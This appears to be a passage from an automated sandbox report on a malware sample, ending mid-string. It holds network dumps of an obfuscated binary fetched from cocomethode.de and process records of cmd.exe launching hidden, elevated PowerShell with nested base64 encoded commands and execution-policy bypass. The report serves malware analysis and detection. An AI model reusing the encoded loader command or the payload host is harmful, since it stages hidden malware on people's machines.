2024-12-11 11:59:50 UTC	1369	IN	Data Raw: c1 4a 02 c7 47 db c8 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 20 81 62 4a 02 c7 4f c1 44 ec 4a 02 c1 4a 02 c7 47 33 c8 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 00 81 62 4a 02 c7 4f 39 44 ec 4a 02 c1 4a 02 c7 47 3b c8 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 60 81 62 4a 02 c7 4f 31 44 ec 4a 02 c1 4a 02 c7 47 3b c8 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 40 81 62 4a 02 c7 4f 29 44 ec 4a 02 c1 4a 02 c7 47 2b c8 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 a0 80 62 4a 02 c7 4f 29 44 ec 4a 02 c1 4a 02 c7 47 0b c9 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 80 80 62 4a 02 c7 4f 01 44 ec 4a 02 c1 4a 02 c7 47 63 c9 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 e0 80 62 4a 02 c7 4f 79 44 ec 4a 02 c1 4a 02 c7 47 5b c9 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 c0 80 62 4a 02 c7 4f 51 44 ec 4a Data Ascii: JGJsJ?K bJODJJG3JsJ?KbJO9DJJG;JsJ?K`bJO1DJJG;JsJ?K@bJO)DJJG+JsJ?KbJO)DJJGJsJ?KbJODJJGcJsJ?KbJOyDJJG[JsJ?KbJOQDJ
2024-12-11 11:59:50 UTC	1369	IN	Data Raw: c7 4f b9 41 ec 4a 02 c1 4a 02 c7 47 8b ca 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 40 8c 62 4a 02 c7 4f 91 41 ec 4a 02 c1 4a 02 c7 47 e3 ca 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 a0 8f 62 4a 02 c7 4f 81 41 ec 4a 02 c1 4a 02 c7 47 db ca 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 80 8f 62 4a 02 c7 4f f9 41 ec 4a 02 c1 4a 02 c7 47 33 ca 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 e0 8f 62 4a 02 c7 4f d1 41 ec 4a 02 c1 4a 02 c7 47 2b ca 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 c0 8f 62 4a 02 c7 4f c9 41 ec 4a 02 c1 4a 02 c7 47 03 ca 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 20 8f 62 4a 02 c7 4f 21 41 ec 4a 02 c1 4a 02 c7 47 7b ca 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 00 8f 62 4a 02 c7 4f 29 41 ec 4a 02 c1 4a 02 c7 47 7b ca 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 60 8f 62 4a Data Ascii: OAJJGJsJ?K@bJOAJJGJsJ?KbJOAJJGJsJ?KbJOAJJG3JsJ?KbJOAJJG+JsJ?KbJOAJJGJsJ?K bJO!AJJG{JsJ?KbJO)AJJG{JsJ?K`bJ
2024-12-11 11:59:50 UTC	1369	IN	Data Raw: 9a a3 80 8a 62 4a 02 c7 4f 71 43 ec 4a 02 c1 4a 02 c7 47 8b 34 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 e0 8a 62 4a 02 c7 4f 61 43 ec 4a 02 c1 4a 02 c7 47 e3 34 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 c0 8a 62 4a 02 c7 4f 69 43 ec 4a 02 c1 4a 02 c7 47 fb 34 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 20 8a 62 4a 02 c7 4f 41 43 ec 4a 02 c1 4a 02 c7 47 f3 34 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 00 8a 62 4a 02 c7 4f b9 42 ec 4a 02 c1 4a 02 c7 47 fb 34 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 60 8a 62 4a 02 c7 4f 91 42 ec 4a 02 c1 4a 02 c7 47 d3 34 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 40 8a 62 4a 02 c7 4f 89 42 ec 4a 02 c1 4a 02 c7 47 db 34 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 a0 f5 62 4a 02 c7 4f f9 42 ec 4a 02 c1 4a 02 c7 47 33 34 12 4a 02 c9 73 4a 3f 4b 89 02 Data Ascii: bJOqCJJG4JsJ?KbJOaCJJG4JsJ?KbJOiCJJG4JsJ?K bJOACJJG4JsJ?KbJOBJJG4JsJ?K`bJOBJJG4JsJ?K@bJOBJJG4JsJ?KbJOBJJG34JsJ?K
2024-12-11 11:59:50 UTC	1369	IN	Data Raw: 73 4a 3f 4b 89 02 c1 9a a3 20 f1 62 4a 02 c7 4f 79 4c ec 4a 02 c1 4a 02 c7 47 8b 36 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 00 f1 62 4a 02 c7 4f 69 4c ec 4a 02 c1 4a 02 c7 47 9b 36 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 60 f1 62 4a 02 c7 4f 69 4c ec 4a 02 c1 4a 02 c7 47 8b 36 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 40 f1 62 4a 02 c7 4f 59 4c ec 4a 02 c1 4a 02 c7 47 e3 36 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 a0 f0 62 4a 02 c7 4f 49 4c ec 4a 02 c1 4a 02 c7 47 db 36 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 80 f0 62 4a 02 c7 4f 49 4c ec 4a 02 c1 4a 02 c7 47 c3 36 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 e0 f0 62 4a 02 c7 4f a1 4f ec 4a 02 c1 4a 02 c7 47 3b 36 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 c0 f0 62 4a 02 c7 4f 99 4f ec 4a 02 c1 4a 02 c7 47 13 36 12 4a 02 Data Ascii: sJ?K bJOyLJJG6JsJ?KbJOiLJJG6JsJ?K`bJOiLJJG6JsJ?K@bJOYLJJG6JsJ?KbJOILJJG6JsJ?KbJOILJJG6JsJ?KbJOOJJG;6JsJ?KbJOOJJG6J
2024-12-11 11:59:50 UTC	1369	IN	Data Raw: 47 d3 33 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 40 fc 62 4a 02 c7 4f 69 4f ec 4a 02 c1 4a 02 c7 47 cb 33 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 a0 ff 62 4a 02 c7 4f 69 4f ec 4a 02 c1 4a 02 c7 47 23 33 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 80 ff 62 4a 02 c7 4f 59 4f ec 4a 02 c1 4a 02 c7 47 1b 33 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 e0 ff 62 4a 02 c7 4f 49 4f ec 4a 02 c1 4a 02 c7 47 73 33 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 c0 ff 62 4a 02 c7 4f a1 4e ec 4a 02 c1 4a 02 c7 47 6b 33 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 20 ff 62 4a 02 c7 4f 99 4e ec 4a 02 c1 4a 02 c7 47 43 33 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 00 ff 62 4a 02 c7 4f f1 4e ec 4a 02 c1 4a 02 c7 47 bb 32 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 60 ff 62 4a 02 c7 4f e9 4e ec 4a 02 c1 4a 02 Data Ascii: G3JsJ?K@bJOiOJJG3JsJ?KbJOiOJJG#3JsJ?KbJOYOJJG3JsJ?KbJOIOJJGs3JsJ?KbJONJJGk3JsJ?K bJONJJGC3JsJ?KbJONJJG2JsJ?K`bJONJJ

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.11.20	49768	104.21.1.51	443

Timestamp	Bytes transferred	Direction	Data
2024-12-11 12:00:52 UTC	71	OUT	GET /StaticFile/TermServiceTryRun/22 HTTP/1.1 Host: cocomethode.de
2024-12-11 12:00:52 UTC	1354	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 12:00:52 GMT Content-Type: application/octet-stream Content-Length: 2183168 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: BFF2365257251B6BA227A5E748DBD62E CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nTJfJ%2B1yuuauUeWGFM7oUOgX9YRKD3gvu1AZtBvjTua3qTfpaLjJk0hdtbMfCrt9pL3%2F0PUsPR9XWL6tuA%2BqCMn3sxkd51bRQKl8JJMpLg5HFOSHpa6cRv8dAcqUsthUC36OtVXDM9%2FG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30729&min_rtt=1644&rtt_var=33562&sent=19&recv=21&lost=0&retrans=0&sent_bytes=5711&recv_bytes=8342&delivery_rate=1751649&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f055117daa4675d-ATL server-timing: cfL4;desc="?proto=TCP&rtt=55&min_rtt=48&rtt_var=13&sent=20&recv=22&lost=0&retrans=0&sent_bytes=5981&recv_bytes=4682&delivery_rate=1190600000&cwnd=150&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=40&rtt_var=17&sent=12&recv=14&lost=0&retrans=0&sent_bytes=3612&recv_bytes=2598&delivery_rate=1393255319&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 12:00:52 UTC	430	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 39 26 6d 69 6e 5f 72 74 74 3d 35 39 26 72 74 74 5f 76 61 72 3d 32 32 26 73 65 6e 74 3d 39 26 72 65 63 76 3d 31 31 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 31 33 37 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 36 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 31 30 39 38 38 31 33 35 35 26 63 77 6e 64 3d 31 39 30 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=59&min_rtt=59&rtt_var=22&sent=9&recv=11&lost=0&retrans=0&sent_bytes=1378&recv_bytes=1169&delivery_rate=1109881355&cwnd=190&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113
2024-12-11 12:00:52 UTC	954	IN	Data Raw: 5b 4c 46 16 14 16 16 16 12 16 19 16 e9 e9 16 16 ae 16 16 16 16 16 16 16 56 16 0c 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 17 16 16 ac 06 16 18 09 a2 1f db 37 ae 17 5a db 37 86 86 42 7e 7f 65 36 66 64 79 71 64 77 7b 36 7b 63 65 62 36 74 73 36 64 63 78 36 63 78 72 73 64 36 41 7f 78 25 24 1b 1c 32 21 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 Data Ascii: [LFV7Z7B~e6fdyqdw{6{ceb6ts6dcx6cxrsd6Ax%$2!
2024-12-11 12:00:52 UTC	1369	IN	Data Raw: 16 16 16 26 34 16 16 16 16 16 16 46 37 16 16 16 16 16 16 16 16 16 16 16 16 16 56 16 16 56 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 12 06 56 16 15 11 54 79 79 7a 73 77 78 17 16 16 16 16 17 16 16 16 16 06 56 16 13 50 77 7a 65 73 12 42 64 63 73 10 45 6f 65 62 73 7b 14 16 16 16 22 06 56 16 14 1e 57 78 65 7f 55 7e 77 64 17 16 16 16 16 e9 16 16 16 14 16 16 16 16 46 06 56 16 1f 12 55 7e 77 64 15 16 16 16 16 e9 e9 16 16 14 16 16 16 16 7e 06 56 16 17 1e 45 7e 79 64 62 5f 78 62 16 96 e9 e9 e9 69 16 16 16 14 16 16 16 16 92 06 56 16 17 1e 45 7b 77 7a 7a 5f 78 62 14 16 96 e9 e9 e9 69 16 16 14 16 16 16 16 b6 06 56 16 17 11 5f 78 62 73 71 73 64 12 16 16 16 96 e9 e9 e9 69 14 16 ae 06 56 16 17 Data Ascii: &4F7VVVTyyzswxVPwzesBdcsEoebs{"VWxeU~wdFVU~wd~VE~ydb_xbiVE{wzz_xbiV_xbsqsdiV
2024-12-11 12:00:52 UTC	1369	IN	Data Raw: 07 56 16 0e 16 16 16 14 1c 5f 7b 66 7a 51 73 62 62 73 64 14 16 14 16 16 16 26 03 56 16 02 19 46 5f 78 62 73 64 70 77 75 73 42 77 74 7a 73 5e 03 56 16 14 16 16 5a 03 56 16 18 19 42 5f 78 62 73 64 70 77 75 73 42 77 74 7a 73 d2 53 12 16 16 16 16 16 16 14 16 16 16 8a 06 56 16 16 16 16 16 14 1c 53 78 62 64 6f 55 79 63 78 62 14 16 16 16 16 16 12 16 16 16 14 11 53 78 62 64 7f 73 65 14 16 14 16 16 16 16 8a 03 56 16 18 11 42 5b 73 62 7e 79 72 1e 16 16 16 16 16 16 16 16 14 16 16 16 16 07 56 16 16 16 16 16 14 12 55 79 72 73 14 16 16 07 56 16 12 16 16 16 14 12 52 77 62 77 14 16 14 16 10 16 1d 0e 98 56 16 1a 30 79 66 49 53 67 63 77 7a 7f 62 6f 16 16 16 06 56 16 14 04 8e 03 56 16 12 5a 73 70 62 14 16 04 8e 03 56 16 13 44 7f 71 7e 62 14 16 14 16 1d 3a 98 56 16 18 30 79 Data Ascii: V_{fzQsbbsd&VF_xbsdpwusBwtzs^VZVB_xbsdpwusBwtzsSVSxbdoUycxbSxbdseVB[sb~yrVUyrsVRwbwV0yfISgcwzboVVZspbVDq~b:V0y
2024-12-11 12:00:52 UTC	1369	IN	Data Raw: 78 65 62 77 78 75 73 45 7f 6c 73 15 16 8a 06 56 16 1e 16 17 16 16 16 16 16 16 16 12 45 73 7a 70 14 16 14 16 2a 16 e6 84 56 16 1a 5f 78 7e 73 64 7f 62 65 50 64 79 7b 15 16 16 06 56 16 1e 16 14 16 16 16 16 16 16 16 12 45 73 7a 70 14 16 16 02 05 56 16 17 16 10 57 55 7a 77 65 65 14 16 14 16 2d 16 4e 85 56 16 1b 5b 73 62 7e 79 72 57 72 72 64 73 65 65 15 16 16 07 56 16 1e 16 14 16 16 16 16 16 16 16 12 45 73 7a 70 14 16 04 f2 07 56 16 17 16 12 58 77 7b 73 14 16 14 16 2d 16 de 85 56 16 1b 5b 73 62 7e 79 72 57 72 72 64 73 65 65 15 16 16 07 56 16 1e 16 14 16 16 16 16 16 16 16 12 45 73 7a 70 14 16 14 ae 04 56 16 17 16 12 58 77 7b 73 14 16 14 16 50 16 e6 85 56 16 1c 5b 73 62 7e 79 72 58 77 7b 73 15 16 ae 04 56 16 1e 16 15 16 16 16 16 16 16 16 12 45 73 7a 70 14 16 16 Data Ascii: xebwxusElsVEszp*V_x~sdbePdy{VEszpVWUzwee-NV[sb~yrWrrdseeVEszpVXw{s-V[sb~yrWrrdseeVEszpVXw{sPV[sb~yrXw{sVEszp
2024-12-11 12:00:52 UTC	1369	IN	Data Raw: 36 56 16 16 16 16 16 16 16 16 16 16 16 16 16 2e 36 56 16 16 16 16 16 0a 36 56 16 16 16 16 16 34 36 56 16 1e 16 16 16 32 01 56 16 0a 86 56 16 32 86 56 16 1a 85 56 16 12 85 56 16 32 85 56 16 3e 85 56 16 3a 85 56 16 36 85 56 16 fa 9b 56 16 12 98 56 16 e6 98 56 16 16 16 16 16 16 16 06 42 55 63 65 62 79 7b 57 62 62 64 7f 74 63 62 73 16 2e 36 56 16 11 06 42 55 63 65 62 79 7b 57 62 62 64 7f 74 63 62 73 0a 36 56 16 8a 09 56 16 16 16 10 45 6f 65 62 73 7b 16 16 16 16 14 16 16 16 16 7e 36 56 16 05 03 42 55 63 65 62 79 7b 57 62 62 64 7f 74 63 62 73 55 7a 77 65 65 22 36 56 16 14 16 16 16 16 f6 36 56 16 16 16 16 16 16 16 16 16 16 16 16 16 ee 36 56 16 16 16 16 16 f6 36 56 16 16 16 16 16 f0 36 56 16 1e 16 16 16 d2 09 56 16 0a 86 56 16 32 86 56 16 1a 85 56 16 12 85 56 16 Data Ascii: 6V.6V6V46V2VV2VVV2V>V:V6VVVVBUceby{Wbbdtcbs.6VBUceby{Wbbdtcbs6VVEoebs{~6VBUceby{WbbdtcbsUzwee"6V6V6V6V6VVV2VVV
2024-12-11 12:00:52 UTC	1369	IN	Data Raw: 7f 78 55 79 63 78 62 14 16 8a 35 56 16 02 16 16 16 16 1c 50 41 77 7f 62 47 63 73 63 73 14 16 3e 32 56 16 0e 16 16 16 16 1c 50 47 63 73 63 73 5a 79 75 7d 14 16 14 16 1f 16 1f 76 8b 56 16 1a 45 73 62 45 66 7f 78 55 79 63 78 62 16 16 16 16 16 16 14 1c 8a 09 56 16 11 57 59 74 7c 73 75 62 14 16 16 8a 06 56 16 1c 57 45 66 7f 78 55 79 63 78 62 14 16 14 16 1f 1a 8e 56 16 13 53 78 62 73 64 16 16 16 16 16 16 17 1c 8a 09 56 16 11 57 59 74 7c 73 75 62 14 16 14 16 1f 26 8e 56 16 13 53 78 62 73 64 16 16 16 06 56 16 14 1c 8a 09 56 16 11 57 59 74 7c 73 75 62 14 16 16 f2 06 56 16 11 42 7f 7b 73 79 63 62 14 16 14 16 1f aa 8c 56 16 12 53 6e 7f 62 16 16 16 16 16 16 17 1c 8a 09 56 16 11 57 59 74 7c 73 75 62 14 16 14 16 1f 6e 8b 56 16 1e 42 64 6f 53 78 62 73 64 16 16 16 06 56 Data Ascii: xUycxb5VPAwbGcscs>2VPGcscsZyu}vVEsbEfxUycxbVWYt\|subVWEfxUycxbVSxbsdVWYt\|sub&VSxbsdVVWYt\|subVB{sycbVSnbVWYt\|subnVBdoSxbsdV
2024-12-11 12:00:52 UTC	1369	IN	Data Raw: 16 1c 1c 43 42 50 2e 45 62 64 7f 78 71 ff eb 14 16 9a 3c 56 16 1c 1b 44 77 61 54 6f 62 73 45 62 64 7f 78 71 e9 e9 14 16 16 b2 3c 56 16 02 13 46 54 6f 62 73 a2 06 56 16 14 16 16 16 16 ae 3c 56 16 02 10 46 5f 78 62 20 22 02 07 56 16 14 16 16 16 da 3c 56 16 02 1f 46 53 6e 62 73 78 72 73 72 8a 07 56 16 14 16 16 16 16 f2 3c 56 16 02 1f 46 55 63 64 64 73 78 75 6f c6 07 56 16 14 16 16 16 16 ea 3c 56 16 02 1e 46 40 77 64 7f 77 78 62 e6 04 56 16 14 16 06 3d 56 16 02 1e 46 46 79 7f 78 62 73 64 16 07 56 16 14 16 32 3d 56 16 12 1f 42 52 77 62 73 42 7f 7b 73 17 14 16 16 16 2e 3d 56 16 12 13 42 52 77 62 73 17 14 16 16 16 5e 3d 56 16 12 13 42 42 7f 7b 73 17 14 16 16 16 4e 3d 56 16 18 18 42 40 77 64 57 64 64 77 6f 54 79 63 78 72 1e 16 16 16 16 16 16 16 16 14 16 16 16 8a Data Ascii: CBP.Ebdxq<VDwaTobsEbdxq<VFTobsV<VF_xb "V<VFSnbsxrsrV<VFUcddsxuoV<VF@wdwxbV=VFFyxbsdV2=VBRwbsB{s.=VBRwbs^=VBB{sN=VB@wdWddwoTycxr
2024-12-11 12:00:52 UTC	48	IN	Data Raw: 62 64 7f 78 71 1f 62 7d 40 77 64 7f 77 78 62 11 62 7d 57 64 64 77 6f 1e 62 7d 44 73 75 79 64 72 1d 62 7d 5f 78 62 73 64 70 77 75 73 11 62 7d 5f Data Ascii: bdxqb}@wdwxbb}Wddwob}Dsuydrb}_xbsdpwusb}_
2024-12-11 12:00:53 UTC	1369	IN	Data Raw: 78 62 20 22 1c 62 7d 52 6f 78 57 64 64 77 6f 1f 62 7d 43 45 62 64 7f 78 71 1c 62 7d 55 7a 77 65 65 44 73 70 1f 62 7d 46 79 7f 78 62 73 64 1d 62 7d 46 64 79 75 73 72 63 64 73 1f 62 7d 5b 44 73 75 79 64 72 10 45 6f 65 62 73 7b 14 16 16 16 16 42 26 56 16 18 11 42 40 77 64 44 73 75 1e 16 16 16 16 16 16 16 16 02 16 16 16 8a 06 56 16 16 16 16 16 14 1e 40 5f 78 62 73 71 73 64 14 16 16 06 56 16 16 16 16 16 14 1e 40 54 79 79 7a 73 77 78 14 16 26 06 56 16 16 16 16 16 14 13 40 55 7e 77 64 14 16 de 3c 56 16 16 16 16 16 14 1f 40 53 6e 62 73 78 72 73 72 14 16 4a 3c 56 16 16 16 16 16 14 11 40 45 62 64 7f 78 71 14 16 16 07 56 16 16 16 16 16 14 1e 40 46 79 7f 78 62 73 64 14 16 ee 07 56 16 16 16 16 16 14 10 40 46 55 7e 77 64 14 16 8a 09 56 16 16 16 16 16 14 11 40 59 74 7c Data Ascii: xb "b}RoxWddwob}CEbdxqb}UzweeDspb}Fyxbsdb}Fdyusrcdsb}[DsuydrEoebs{B&VB@wdDsuV@_xbsqsdV@Tyyzswx&V@U~wd<V@SnbsxrsrJ<V@EbdxqV@FyxbsdV@FU~wdV@Yt\|

Target ID:	0
Start time:	06:58:11
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Imagebase:	0x7ff783e00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:58:11
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6011d0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:58:11
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAG